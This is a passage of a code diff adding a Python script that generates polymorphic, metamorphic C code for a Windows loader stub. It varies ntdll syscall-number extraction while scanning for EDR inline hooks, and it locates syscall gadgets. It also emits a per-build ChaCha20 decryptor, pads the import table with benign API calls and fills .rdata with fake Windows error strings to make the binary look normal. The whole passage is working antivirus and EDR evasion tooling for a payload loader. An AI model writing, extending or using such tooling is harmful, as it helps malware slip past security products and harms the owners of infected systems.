0xB8 &&") + lines.append(" funcAddr[i + 5] == 0x0F && funcAddr[i + 6] == 0x05) {") + lines.append(" return *(DWORD *)(funcAddr + i + 1);") + lines.append(" }") + lines.append(" }") + else: + # Hooked scan first (reversed order) + lines.append(" /* Scan for hooked pattern first (EDR inline hook detection) */") + lines.append(f" for (int i = 0; i < {scan_limit}; i++) {{") + if add_decoy: + lines.append(" if (funcAddr[i] == 0xCC) continue; /* skip INT3 */") + lines.append(" if (funcAddr[i] == 0xB8 &&") + lines.append(" funcAddr[i + 5] == 0x0F && funcAddr[i + 6] == 0x05) {") + lines.append(" return *(DWORD *)(funcAddr + i + 1);") + lines.append(" }") + lines.append(" }") + lines.append(" /* Standard ntdll syscall stub prologue */") + lines.append(" if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&") + lines.append(" funcAddr[3] == 0xB8) {") + lines.append(" return *(DWORD *)(funcAddr + 4);") + lines.append(" }") + + lines.append(f" return {sentinel};") + lines.append("}") + return "\n".join(lines) + + +def gen_meta_find_syscall_gadget(): + """Generate metamorphic FindSyscallGadget with randomized variants.""" + scan_dir = random.choice(["forward", "backward", "random_offset"]) + name_check = random.choice(["bytewise", "uint32"]) + gadget_pattern = random.choice(["primary", "fallback_first"]) + + lines = [] + lines.append("static PVOID FindSyscallGadget(LPBYTE ntdllBase) {") + lines.append(" PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdllBase;") + lines.append(" PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(ntdllBase + dos->e_lfanew);") + lines.append(" PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);") + lines.append("") + lines.append(" for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {") + + # Section name check + if name_check == "bytewise": + lines.append(" if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&") + lines.append(" sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&") + lines.append(" sec[i].Name[4] == 't') {") + else: + lines.append(" if (*(uint32_t *)&sec[i].Name[0] == 0x7865742E && sec[i].Name[4] == 't') {") + + lines.append(" LPBYTE start = ntdllBase + sec[i].VirtualAddress;") + lines.append(" DWORD size = sec[i].Misc.VirtualSize;") + lines.append(" if (size < 4) continue;") + + if scan_dir == "forward": + lines.append(" for (DWORD j = 0; j < size - 3; j++) {") + if gadget_pattern == "primary": + lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {") + lines.append(" return &start[j];") + lines.append(" }") + else: + # Try extended pattern first, fall back to primary + lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05) {") + lines.append(" if (start[j + 2] == 0xC3) return &start[j];") + lines.append(" if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)") + lines.append(" return &start[j];") + lines.append(" }") + lines.append(" }") + + elif scan_dir == "backward": + lines.append(" DWORD j = size - 3;") + lines.append(" while (j > 0) {") + if gadget_pattern == "primary": + lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {") + lines.append(" return &start[j];") + lines.append(" }") + else: + lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05) {") + lines.append(" if (start[j + 2] == 0xC3) return &start[j];") + lines.append(" if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)") + lines.append(" return &start[j];") + lines.append(" }") + lines.append(" j--;") + lines.append(" }") + + else: # random_offset + offset_pct = random.randint(5, 25) + lines.append(f" DWORD off = size / {100 // offset_pct};") + lines.append(" /* Scan from offset, then wrap around */") + lines.append(" for (DWORD k = 0; k < size - 3; k++) {") + lines.append(" DWORD j = (k + off) % (size - 3);") + if gadget_pattern == "primary": + lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05 && start[j + 2] == 0xC3) {") + lines.append(" return &start[j];") + lines.append(" }") + else: + lines.append(" if (start[j] == 0x0F && start[j + 1] == 0x05) {") + lines.append(" if (start[j + 2] == 0xC3) return &start[j];") + lines.append(" if (j + 3 < size && start[j + 2] == 0x90 && start[j + 3] == 0xC3)") + lines.append(" return &start[j];") + lines.append(" }") + lines.append(" }") + + lines.append(" }") + lines.append(" }") + lines.append(" return NULL;") + lines.append("}") + return "\n".join(lines) + + +def gen_meta_load_le32(): + """Generate metamorphic load_le32 with randomized implementation.""" + variant = random.choice(["shift", "union", "memcpy_style"]) + + lines = [] + if variant == "shift": + lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {") + lines.append(" return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) |") + lines.append(" ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);") + lines.append("}") + elif variant == "union": + lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {") + lines.append(" union { uint8_t b[4]; uint32_t v; } u;") + lines.append(" u.b[0] = p[0]; u.b[1] = p[1]; u.b[2] = p[2]; u.b[3] = p[3];") + lines.append(" return u.v;") + lines.append("}") + else: # memcpy_style (byte-by-byte into local) + lines.append("static inline __attribute__((always_inline)) uint32_t load_le32(const uint8_t *p) {") + lines.append(" uint32_t r = 0;") + lines.append(" uint8_t *dst = (uint8_t *)&r;") + lines.append(" dst[0] = p[0]; dst[1] = p[1]; dst[2] = p[2]; dst[3] = p[3];") + lines.append(" return r;") + lines.append("}") + return "\n".join(lines) + + +def _py_chacha20_block(state): + """Pure Python ChaCha20 block function for test vector validation.""" + def rotl32(v, n): + return ((v << n) | (v >> (32 - n))) & 0xFFFFFFFF + + def qr(x, a, b, c, d): + x[a] = (x[a] + x[b]) & 0xFFFFFFFF; x[d] ^= x[a]; x[d] = rotl32(x[d], 16) + x[c] = (x[c] + x[d]) & 0xFFFFFFFF; x[b] ^= x[c]; x[b] = rotl32(x[b], 12) + x[a] = (x[a] + x[b]) & 0xFFFFFFFF; x[d] ^= x[a]; x[d] = rotl32(x[d], 8) + x[c] = (x[c] + x[d]) & 0xFFFFFFFF; x[b] ^= x[c]; x[b] = rotl32(x[b], 7) + + x = list(state) + for _ in range(10): + qr(x, 0, 4, 8, 12); qr(x, 1, 5, 9, 13) + qr(x, 2, 6, 10, 14); qr(x, 3, 7, 11, 15) + qr(x, 0, 5, 10, 15); qr(x, 1, 6, 11, 12) + qr(x, 2, 7, 8, 13); qr(x, 3, 4, 9, 14) + + out = [] + for i in range(16): + val = (x[i] + state[i]) & 0xFFFFFFFF + out.extend(struct.pack('> (32 - (n))))") + elif rotl_style == "builtin": + lines.append("#undef ROTL32") + lines.append("static inline __attribute__((always_inline)) uint32_t _meta_rotl32(uint32_t v, int n) {") + lines.append(" return (v << n) | (v >> (32 - n));") + lines.append("}") + lines.append("#define ROTL32(v, n) _meta_rotl32((v), (n))") + else: # tempvar + lines.append("#undef ROTL32") + lines.append("#define ROTL32(v, n) ({ uint32_t _rv = (v); (_rv << (n)) | (_rv >> (32 - (n))); })") + + lines.append("") + lines.append("#undef QR") + lines.append("#define QR(a, b, c, d) do { \\") + lines.append(" a += b; d ^= a; d = ROTL32(d, 16); \\") + lines.append(" c += d; b ^= c; b = ROTL32(b, 12); \\") + lines.append(" a += b; d ^= a; d = ROTL32(d, 8); \\") + lines.append(" c += d; b ^= c; b = ROTL32(b, 7); \\") + lines.append("} while(0)") + lines.append("") + + lines.append("static void chacha20_decrypt(const uint8_t key[32], const uint8_t nonce[12],") + lines.append(" const uint8_t *in, uint8_t *out, size_t len) {") + lines.append(" uint32_t state[16];") + lines.append(" CHACHA_INIT_STATE(state);") + lines.append(" for (int i = 0; i < 8; i++)") + lines.append(" state[4 + i] = load_le32(key + i * 4);") + lines.append(" state[12] = 0;") + lines.append(" state[13] = load_le32(nonce);") + lines.append(" state[14] = load_le32(nonce + 4);") + lines.append(" state[15] = load_le32(nonce + 8);") + lines.append("") + lines.append(" size_t offset = 0;") + lines.append(" while (offset < len) {") + lines.append(" uint32_t x[16];") + lines.append(" for (int i = 0; i < 16; i++) x[i] = state[i];") + lines.append("") + + # Column round QR calls + col_round = [ + "QR(x[0], x[4], x[ 8], x[12]);", + "QR(x[1], x[5], x[ 9], x[13]);", + "QR(x[2], x[6], x[10], x[14]);", + "QR(x[3], x[7], x[11], x[15]);", + ] + # Diagonal round QR calls + diag_round = [ + "QR(x[0], x[5], x[10], x[15]);", + "QR(x[1], x[6], x[11], x[12]);", + "QR(x[2], x[7], x[ 8], x[13]);", + "QR(x[3], x[4], x[ 9], x[14]);", + ] + + if unroll_depth == 1: + lines.append(" for (int i = 0; i < 10; i++) {") + for qr in col_round: + lines.append(f" {qr}") + for qr in diag_round: + lines.append(f" {qr}") + lines.append(" }") + elif unroll_depth == 2: + lines.append(" for (int i = 0; i < 5; i++) {") + for _ in range(2): + for qr in col_round: + lines.append(f" {qr}") + for qr in diag_round: + lines.append(f" {qr}") + lines.append(" }") + elif unroll_depth == 5: + lines.append(" for (int i = 0; i < 2; i++) {") + for _ in range(5): + for qr in col_round: + lines.append(f" {qr}") + for qr in diag_round: + lines.append(f" {qr}") + lines.append(" }") + else: # 10 — fully unrolled + for _ in range(10): + for qr in col_round: + lines.append(f" {qr}") + for qr in diag_round: + lines.append(f" {qr}") + + lines.append("") + lines.append(" uint8_t block[64];") + lines.append(" for (int i = 0; i < 16; i++) {") + lines.append(" uint32_t val = x[i] + state[i];") + lines.append(" block[i*4+0] = (uint8_t)(val);") + lines.append(" block[i*4+1] = (uint8_t)(val >> 8);") + lines.append(" block[i*4+2] = (uint8_t)(val >> 16);") + lines.append(" block[i*4+3] = (uint8_t)(val >> 24);") + lines.append(" }") + lines.append(" state[12]++;") + lines.append("") + lines.append(" size_t chunk = len - offset;") + lines.append(" if (chunk > 64) chunk = 64;") + lines.append(" for (size_t i = 0; i < chunk; i++)") + lines.append(" out[offset + i] = in[offset + i] ^ block[i];") + lines.append(" offset += chunk;") + lines.append(" }") + lines.append("") + lines.append(" SecureZeroMemory(state, sizeof(state));") + lines.append("}") + return "\n".join(lines), unroll_depth, rotl_style + + +def generate_metamorphic_header(lcg_mult, lcg_inc, lcg_shift): + """Generate stub_poly_metamorphic.h with all 5 metamorphic function bodies.""" + lines = [] + lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */") + lines.append("/* Metamorphic function bodies — different machine code per build */") + lines.append("#ifndef STUB_POLY_METAMORPHIC_H") + lines.append("#define STUB_POLY_METAMORPHIC_H") + lines.append("") + lines.append('#include ') + lines.append('#include ') + lines.append("") + + # 1. load_le32 + lines.append("/* --- load_le32 (metamorphic) --- */") + lines.append(gen_meta_load_le32()) + lines.append("") + + # 2. generate_entropy_pad + lines.append("/* --- generate_entropy_pad (metamorphic LCG) --- */") + lines.append(gen_meta_entropy_pad(lcg_mult, lcg_inc, lcg_shift)) + lines.append("") + + # 3. SectionToProtection + lines.append("/* --- SectionToProtection (metamorphic) --- */") + lines.append(gen_meta_section_to_protection()) + lines.append("") + + # 4. ExtractSSN + lines.append("/* --- ExtractSSN (metamorphic) --- */") + lines.append(gen_meta_extract_ssn()) + lines.append("") + + # 5. FindSyscallGadget + lines.append("/* --- FindSyscallGadget (metamorphic) --- */") + lines.append(gen_meta_find_syscall_gadget()) + lines.append("") + + # 6. chacha20_decrypt (includes ROTL32/QR redefinitions) + lines.append("/* --- chacha20_decrypt (metamorphic) --- */") + chacha_code, unroll_depth, rotl_style = gen_meta_chacha20_decrypt() + lines.append(chacha_code) + lines.append("") + + lines.append("#endif /* STUB_POLY_METAMORPHIC_H */") + lines.append("") + return "\n".join(lines), unroll_depth, rotl_style + + +# --------------------------------------------------------------------------- +# IAT padding generation (Fix 1: import table padding) +# --------------------------------------------------------------------------- + +# Pool of benign Windows APIs across multiple DLLs +IAT_API_POOL = { + "kernel32": [ + ("GetSystemTime", "VOID", "LPSYSTEMTIME lpSysTime", "SYSTEMTIME st; GetSystemTime(&st); volatile DWORD _r = st.wYear; (void)_r;"), + ("GetLocalTime", "VOID", "LPSYSTEMTIME lpSysTime", "SYSTEMTIME lt; GetLocalTime(<); volatile DWORD _r = lt.wMonth; (void)_r;"), + ("GetVersionExW", "BOOL", "LPOSVERSIONINFOW lpVerInfo", "OSVERSIONINFOW ovi; ovi.dwOSVersionInfoSize = sizeof(ovi); volatile BOOL _r = GetVersionExW(&ovi); (void)_r;"), + ("GetComputerNameA", "BOOL", "LPSTR,LPDWORD", "char _cn[MAX_COMPUTERNAME_LENGTH+1]; DWORD _cl = sizeof(_cn); volatile BOOL _r = GetComputerNameA(_cn, &_cl); SecureZeroMemory(_cn, sizeof(_cn)); (void)_r;"), + ("GetCurrentProcessId", "DWORD", "", "volatile DWORD _r = GetCurrentProcessId(); (void)_r;"), + ("GetCurrentThreadId", "DWORD", "", "volatile DWORD _r = GetCurrentThreadId(); (void)_r;"), + ("GetSystemDirectoryA", "UINT", "LPSTR,UINT", "char _sd[MAX_PATH]; volatile UINT _r = GetSystemDirectoryA(_sd, MAX_PATH); SecureZeroMemory(_sd, sizeof(_sd)); (void)_r;"), + ("GetWindowsDirectoryA", "UINT", "LPSTR,UINT", "char _wd[MAX_PATH]; volatile UINT _r = GetWindowsDirectoryA(_wd, MAX_PATH); SecureZeroMemory(_wd, sizeof(_wd)); (void)_r;"), + ("GetTempPathA", "DWORD", "DWORD,LPSTR", "char _tp[MAX_PATH]; volatile DWORD _r = GetTempPathA(MAX_PATH, _tp); SecureZeroMemory(_tp, sizeof(_tp)); (void)_r;"), + ("SetLastError", "VOID", "DWORD", "SetLastError(0);"), + ("GetLastError", "DWORD", "", "volatile DWORD _r = GetLastError(); (void)_r;"), + ("GetTickCount", "DWORD", "", "volatile DWORD _r = GetTickCount(); (void)_r;"), + ("QueryPerformanceCounter", "BOOL", "LARGE_INTEGER*", "LARGE_INTEGER _li; volatile BOOL _r = QueryPerformanceCounter(&_li); (void)_r;"), + ("GetStartupInfoA", "VOID", "LPSTARTUPINFOA", "STARTUPINFOA _si; _si.cb = sizeof(_si); GetStartupInfoA(&_si); volatile DWORD _r = _si.dwFlags; (void)_r;"), + ("GetCommandLineA", "LPSTR", "", "volatile LPSTR _r = GetCommandLineA(); (void)_r;"), + ("GetModuleFileNameA", "DWORD", "HMODULE,LPSTR,DWORD", "char _mf[MAX_PATH]; volatile DWORD _r = GetModuleFileNameA(NULL, _mf, MAX_PATH); SecureZeroMemory(_mf, sizeof(_mf)); (void)_r;"), + ], + "user32": [ + ("GetDesktopWindow", "HWND", "", "volatile HWND _r = GetDesktopWindow(); (void)_r;"), + ("GetSystemMetrics", "int", "int", "volatile int _r = GetSystemMetrics(SM_CXSCREEN); (void)_r;"), + ("GetKeyboardLayout", "HKL", "DWORD", "volatile HKL _r = GetKeyboardLayout(0); (void)_r;"), + ], + "advapi32": [ + ("GetUserNameA", "BOOL", "LPSTR,LPDWORD", "char _un[256]; DWORD _ul = sizeof(_un); volatile BOOL _r = GetUserNameA(_un, &_ul); SecureZeroMemory(_un, sizeof(_un)); (void)_r;"), + ("RegOpenKeyExA", "LONG", "HKEY,LPCSTR,DWORD,REGSAM,PHKEY", "HKEY _hk = NULL; volatile LONG _r = RegOpenKeyExA(HKEY_LOCAL_MACHINE, \"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\", 0, KEY_READ, &_hk); if (_hk) RegCloseKey(_hk); (void)_r;"), + ], + "shell32": [ + ("SHGetFolderPathA", "HRESULT", "HWND,int,HANDLE,DWORD,LPSTR", "char _fp[MAX_PATH]; volatile HRESULT _r = SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, _fp); SecureZeroMemory(_fp, sizeof(_fp)); (void)_r;"), + ("CommandLineToArgvW", "LPWSTR*", "LPCWSTR,int*", "int _ac = 0; LPWSTR *_av = CommandLineToArgvW(GetCommandLineW(), &_ac); if (_av) LocalFree(_av); volatile int _r = _ac; (void)_r;"), + ], + "ole32": [ + ("CoInitializeEx", "HRESULT", "LPVOID,DWORD", "volatile HRESULT _r = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (SUCCEEDED(_r)) CoUninitialize(); (void)_r;"), + ("CoCreateGuid", "HRESULT", "GUID*", "GUID _g; volatile HRESULT _r = CoCreateGuid(&_g); SecureZeroMemory(&_g, sizeof(_g)); (void)_r;"), + ], +} + +# Required includes per DLL +IAT_DLL_INCLUDES = { + "kernel32": [], + "user32": [], + "advapi32": [], + "shell32": [""], + "ole32": [""], +} + + +def generate_iat_padding(outdir): + """Generate stub_poly_iat.h with randomized IAT padding calls.""" + # Select 12-20 APIs, ensuring at least 1 from each DLL + num_apis = random.randint(12, 20) + selected = [] + + # Guarantee at least 1 per DLL + for dll, apis in IAT_API_POOL.items(): + selected.append((dll, random.choice(apis))) + + # Fill remainder from full pool + all_apis = [] + for dll, apis in IAT_API_POOL.items(): + for api in apis: + entry = (dll, api) + if entry not in selected: + all_apis.append(entry) + + random.shuffle(all_apis) + remaining = num_apis - len(selected) + if remaining > 0: + selected.extend(all_apis[:remaining]) + + random.shuffle(selected) + + # Collect needed includes + needed_includes = set() + for dll, _ in selected: + for inc in IAT_DLL_INCLUDES.get(dll, []): + needed_includes.add(inc) + + lines = [] + lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */") + lines.append("/* IAT padding: %d benign API calls to normalize import table */" % len(selected)) + lines.append("#ifndef STUB_POLY_IAT_H") + lines.append("#define STUB_POLY_IAT_H") + lines.append("") + lines.append("#include ") + for inc in sorted(needed_includes): + lines.append(f"#include {inc}") + lines.append("") + lines.append("#pragma comment(lib, \"kernel32.lib\")") + lines.append("#pragma comment(lib, \"user32.lib\")") + lines.append("#pragma comment(lib, \"advapi32.lib\")") + lines.append("#pragma comment(lib, \"shell32.lib\")") + lines.append("#pragma comment(lib, \"ole32.lib\")") + lines.append("") + lines.append("static void iat_padding_init(void) {") + + for _dll, (api_name, _ret, _params, call_code) in selected: + lines.append(f" /* {api_name} */") + lines.append(f" {{ {call_code} }}") + lines.append("") + + lines.append("}") + lines.append("") + lines.append("#endif /* STUB_POLY_IAT_H */") + lines.append("") + + path = os.path.join(outdir, "stub_poly_iat.h") + with open(path, "w", newline="\n") as f: + f.write("\n".join(lines)) + + return len(selected), path + + +# --------------------------------------------------------------------------- +# Binary size padding generation (Fix 3: realistic .rdata content) +# --------------------------------------------------------------------------- + +# Pool of realistic Windows error/diagnostic messages +PADDING_STRINGS_POOL = [ + "The operation completed successfully.", + "Incorrect function.", + "The system cannot find the file specified.", + "The system cannot find the path specified.", + "The system cannot open the file.", + "Access is denied.", + "The handle is invalid.", + "The storage control blocks were destroyed.", + "Not enough storage is available to process this command.", + "The environment is incorrect.", + "An attempt was made to load a program with an incorrect format.", + "The data is invalid.", + "Not enough storage is available to complete this operation.", + "The system cannot find the drive specified.", + "The directory cannot be removed.", + "The system cannot move the file to a different disk drive.", + "There are no more files.", + "The media is write protected.", + "The system cannot find the device specified.", + "The device is not ready.", + "The device does not recognize the command.", + "Data error (cyclic redundancy check).", + "The program issued a command but the command length is incorrect.", + "The system cannot find the sector specified.", + "The printer is out of paper.", + "The system cannot write to the specified device.", + "The system cannot read from the specified device.", + "A device attached to the system is not functioning.", + "The process cannot access the file because it is being used by another process.", + "The process cannot access the file because another process has locked a portion of the file.", + "The wrong diskette is in the drive.", + "The network resource type is not correct.", + "The network name cannot be found.", + "The specified network password is not correct.", + "The network path was not found.", + "Not enough server storage is available to process this command.", + "The specified server cannot perform the requested operation.", + "An unexpected network error occurred.", + "The remote computer is not available.", + "A duplicate name exists on the network.", + "The network BIOS session limit was exceeded.", + "The remote server has been paused or is in the process of being started.", + "No more connections can be made to this remote computer.", + "The specified print monitor is unknown.", + "The specified printer driver is currently in use.", + "The specified network name is no longer available.", + "The service database is locked.", + "The service has returned a service-specific error code.", + "The process terminated unexpectedly.", + "The dependency service or group failed to start.", + "The service did not start due to a logon failure.", + "The service has been marked for deletion.", + "The specified service already exists.", + "An exception occurred in the service when handling the control request.", + "The system is shutting down.", + "Unable to abort the system shutdown because no shutdown was in progress.", + "The requested operation cannot be performed in full-screen mode.", + "An attempt was made to reference a token that does not exist.", + "The configuration registry database is corrupt.", + "The configuration registry key is invalid.", + "The configuration registry key could not be opened.", + "The configuration registry key could not be read.", + "The configuration registry key could not be written.", + "One of the files in the registry database had to be recovered.", + "The registry is corrupted. The structure of one of the files containing registry data is corrupted.", + "An I/O operation initiated by the registry failed unrecoverably.", + "The system has attempted to load or restore a file into the registry.", + "An illegal character was encountered.", + "The file cannot be opened because it is being deleted.", + "Too many posts were made to a semaphore.", + "Only part of a ReadProcessMemory or WriteProcessMemory request was completed.", + "The oplock request is denied.", + "An invalid oplock acknowledgment was received by the system.", + "Windows cannot find the network path.", + "Your organization used Device Guard to block this app.", + "The system detected an overrun of a stack-based buffer in this application.", + "Initialization of the dynamic link library failed. The process is terminating abnormally.", + "A DLL initialization routine failed.", + "The RPC protocol sequence is not supported.", + "The RPC server is unavailable.", + "The object UUID has already been registered.", + "A security package specific error occurred.", + "The transport connection is now disconnected.", + "The buffer is too small.", + "The format of the specified computer name is invalid.", + "The format of the specified domain name is invalid.", + "A certificate chain could not be built to a trusted root authority.", + "The revocation function was unable to check revocation for the certificate.", + "The function requested is not supported.", + "Loading the device driver failed.", + "The transport has already been registered.", + "The service being accessed is licensed for a particular number of connections.", + "The redirector is in use and cannot be unloaded.", + "The specified printer driver was not found on the system.", + "An unknown printer driver was requested.", + "The print processor is unknown.", + "The specified separator file is invalid.", + "The specified priority is invalid.", + "No default message is available for Windows Error 0x%1.", + "Logon failure: unknown user name or bad password.", + "Logon failure: user account restriction.", + "Logon failure: account logon time restriction violation.", + "Logon failure: the user has not been granted the requested logon type at this computer.", + "A specified logon session does not exist. It may already have been terminated.", + "A required privilege is not held by the client.", + "Insufficient system resources exist to complete the requested service.", + "An invalid parameter was passed to a service or function.", + "The system call level is not correct.", + "The filename or extension is too long.", + "Cannot create a file when that file already exists.", + "The directory is not empty.", + "An internal error occurred.", + "The device does not exist.", + "Not all privileges or groups referenced are assigned to the caller.", + "Partial copy of ReadProcessMemory or WriteProcessMemory was completed.", + "Cannot nest calls to LoadModule.", + "The image file is valid, but is for a machine type other than the current machine.", + "The pipe state is invalid.", + "All pipe instances are busy.", + "The pipe is being closed.", + "No process is on the other end of the pipe.", + "More data is available.", + "The session was canceled.", + "The specified extended attribute name was invalid.", + "The extended attributes are inconsistent.", + "No more data is available.", + "The copy functions cannot be used.", + "The directory name is invalid.", + "The extended attributes did not fit in the buffer.", + "The mounted file system does not support extended attributes.", + "An attempt has been made to operate on an extended attribute marker.", + "This debug event is a fatal error.", + "This debug event is a warning.", + "A real-mode application issued a floating-point instruction.", + "An error occurred applying the security descriptor.", + "There are no more threads to resume.", + "A process assertion has been hit.", + "The specified resource manager made no changes or updates to the resource.", + "There is nothing to publish.", + "The callback function must be invoked inline.", + "The token is already in use as a primary token.", + "An attempt was made to connect to a named pipe that is already connected.", + "Element not found.", + "There was no match for the specified key in the index.", + "The property set specified does not exist on the object.", + "The point passed to GetMouseMovePoints is not in the buffer.", + "The tracking (workstation) service is not running.", + "The volume ID could not be found.", + "Unable to remove the file to be replaced.", + "Unable to move the replacement file to the file to be replaced.", + "Unable to move the replacement file to the file to be replaced. The name of the replacement file is valid.", + "The process is terminated.", + "Application verifier has found an error in the current process.", + "The calling thread is already in a callback.", + "A certificate was explicitly revoked by its issuer.", + "The process is using a SID that is too long for the operation.", + "The process default activation context and the one referred by the manifest are different.", + "The encoding requested is not recognized.", + "The object has changed since it was last read.", + "The object must be read again.", + "The requested action was aborted.", + "An error occurred during validation.", + "The operation was blocked because a dependent transaction exists.", + "The format of the file is not recognized.", + "The path does not exist.", + "Windows Sockets initialization error.", + "A blocking Windows Sockets operation was interrupted.", + "An established connection was aborted by the software in your host machine.", + "An existing connection was forcibly closed by the remote host.", + "A connection attempt failed because the connected party did not properly respond after a period of time.", + "Windows could not search for new updates.", + "Windows Update encountered an unknown error.", + "The component store has been corrupted.", + "The manifest is damaged.", + "The component store metadata file is corrupted.", + "The assembly is not recognized.", + "The feature is not present.", + "The assembly reference is not matched.", + "The hardware has reported an uncorrectable memory error.", + "Windows has finished checking your disk.", + "The Plug and Play Service terminated the program.", + "The program does not have a valid certificate.", + "The system is in the process of shutting down.", + "Task Manager has been disabled by your administrator.", + "The caller has specified that the service will not be stopped.", + "Debugger terminated the thread.", + "Debugger terminated the process.", + "Debug control C was sent to the process.", + "Debug control break was sent to the process.", + "Debug: Process was killed when a deadline was reached.", + "Windows Firewall is turned off.", + "Automatic Updates is turned off.", + "Windows Defender is turned off.", + "No antivirus software was detected.", + "Windows Security Center cannot perform an action.", + "Your computer is at risk. Windows Firewall is turned off.", + "WARNING: Internet communication is limited.", + "Please check your network settings.", + "Connecting to the service...", + "Verifying account information...", + "Looking for available updates...", + "Downloading updates...", + "Installing updates...", + "Checking for solutions to problems...", + "Preparing to configure Windows. Do not turn off your computer.", + "Please wait while Windows configures updates.", + "Success.", + "The message resource is present but the message is not found.", + "The message resource is present but the message was not formatted.", + "Manifest parsing error: The manifest file is missing.", +] + +PADDING_XML_FRAGMENTS = [ + '\n\n \n \n \n \n \n \n \n \n', + '\n\n \n \n \n \n \n \n \n', + '\n \n \n \n \n \n \n', + '\n pdbonly\n true\n bin\\Release\\\n TRACE;NDEBUG\n prompt\n 4\n false\n', + '\n \n \n \n', + '\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n', +] + + +def generate_padding_data(outdir, target_size_kb=None): + """Generate stub_poly_padding.c + stub_poly_padding.h with realistic .rdata content.""" + if target_size_kb is None: + target_size_kb = random.randint(150, 400) + + target_bytes = target_size_kb * 1024 + + # Allocate budget: ~60% strings, ~20% integers, ~10% XML, ~10% misc + string_budget = int(target_bytes * 0.60) + int_budget = int(target_bytes * 0.20) + xml_budget = int(target_bytes * 0.10) + + c_lines = [] + c_lines.append("/* Auto-generated by generate_poly_stub.py — DO NOT EDIT */") + c_lines.append("/* Realistic .rdata padding to normalize binary size */") + c_lines.append("#include ") + c_lines.append("#include ") + c_lines.append("") + c_lines.append("volatile uint32_t g_padding_state = 0;") + c_lines.append("") + + total_generated = 0 + + # --- String tables --- + c_lines.append("/* Windows error messages and diagnostic strings */") + str_array_count = 0 + current_batch = [] + current_batch_size = 0 + + # Shuffle and repeat pool to fill budget + pool = list(PADDING_STRINGS_POOL) + random.shuffle(pool) + pool_idx = 0 + + while total_generated < string_budget: + s = pool[pool_idx % len(pool)] + pool_idx += 1 + # Add minor variation to prevent exact dedup + if pool_idx > len(pool): + s = s.rstrip('.') + random.choice(['.', '!', '...', ' ']) + + escaped = s.replace('\\', '\\\\').replace('"', '\\"').replace('\n', '\\n') + entry_size = len(s) + 1 # +1 for null terminator + current_batch.append(f' "{escaped}"') + current_batch_size += entry_size + + if current_batch_size >= 4096 or total_generated + current_batch_size >= string_budget: + c_lines.append(f"__attribute__((used)) const char * const g_pad_strtbl_{str_array_count}[] = {{") + c_lines.append(",\n".join(current_batch)) + c_lines.append("};") + c_lines.append(f"#define G_PAD_STRTBL_{str_array_count}_COUNT {len(current_batch)}") + c_lines.append("") + total_generated += current_batch_size + str_array_count += 1 + current_batch = [] + current_batch_size = 0 + + if current_batch: + c_lines.append(f"__attribute__((used)) const char * const g_pad_strtbl_{str_array_count}[] = {{") + c_lines.append(",\n".join(current_batch)) + c_lines.append("};") + c_lines.append(f"#define G_PAD_STRTBL_{str_array_count}_COUNT {len(current_batch)}") + c_lines.append("") + total_generated += current_batch_size + str_array_count += 1 + + # --- Integer tables (locale IDs, error codes, version constants) --- + c_lines.append("/* Locale IDs, error codes, and version constants */") + int_array_count = 0 + while total_generated < string_budget + int_budget: + batch_size = random.randint(64, 256) + values = [] + table_type = random.choice(["locale", "error", "version"]) + for _ in range(batch_size): + if table_type == "locale": + values.append(f"0x{random.choice([0x0409, 0x0809, 0x0407, 0x040C, 0x0411, 0x0419, 0x0404, 0x0804, 0x0C09, 0x1009, 0x0416, 0x0816, 0x040A, 0x080A, 0x0410, 0x0413]):04X}u") + elif table_type == "error": + values.append(f"0x{random.randint(0, 0x3FFF):08X}u") + else: + major = random.choice([6, 10]) + minor = random.randint(0, 3) + build = random.randint(7600, 26100) + values.append(f"0x{(major << 24 | minor << 16 | build):08X}u") + + c_lines.append(f"__attribute__((used)) const uint32_t g_pad_inttbl_{int_array_count}[] = {{") + # Format 8 per line + for i in range(0, len(values), 8): + chunk = values[i:i+8] + c_lines.append(" " + ", ".join(chunk) + ",") + c_lines.append("};") + c_lines.append(f"#define G_PAD_INTTBL_{int_array_count}_COUNT {len(values)}") + c_lines.append("") + total_generated += batch_size * 4 + int_array_count += 1 + + # --- XML fragments --- + c_lines.append("/* Configuration and manifest XML fragments */") + xml_selected = random.sample(PADDING_XML_FRAGMENTS, min(len(PADDING_XML_FRAGMENTS), 4)) + for xi, xml in enumerate(xml_selected): + escaped = xml.replace('\\', '\\\\').replace('"', '\\"').replace('\n', '\\n') + c_lines.append(f'__attribute__((used)) const char g_pad_xml_{xi}[] = "{escaped}";') + total_generated += len(xml) + c_lines.append("") + + # --- Reference function to prevent linker stripping --- + c_lines.append("/* Touch function — prevents linker from stripping .rdata */") + c_lines.append("void padding_touch(void) {") + c_lines.append(" volatile uint32_t acc = 0;") + + # Touch string tables + for i in range(str_array_count): + c_lines.append(f" for (int i = 0; i < G_PAD_STRTBL_{i}_COUNT && i < 2; i++)") + c_lines.append(f" acc += (uint32_t)(uintptr_t)g_pad_strtbl_{i}[i];") + + # Touch int tables + for i in range(int_array_count): + c_lines.append(f" acc += g_pad_inttbl_{i}[0];") + + # Touch XML + for xi in range(len(xml_selected)): + c_lines.append(f" acc += 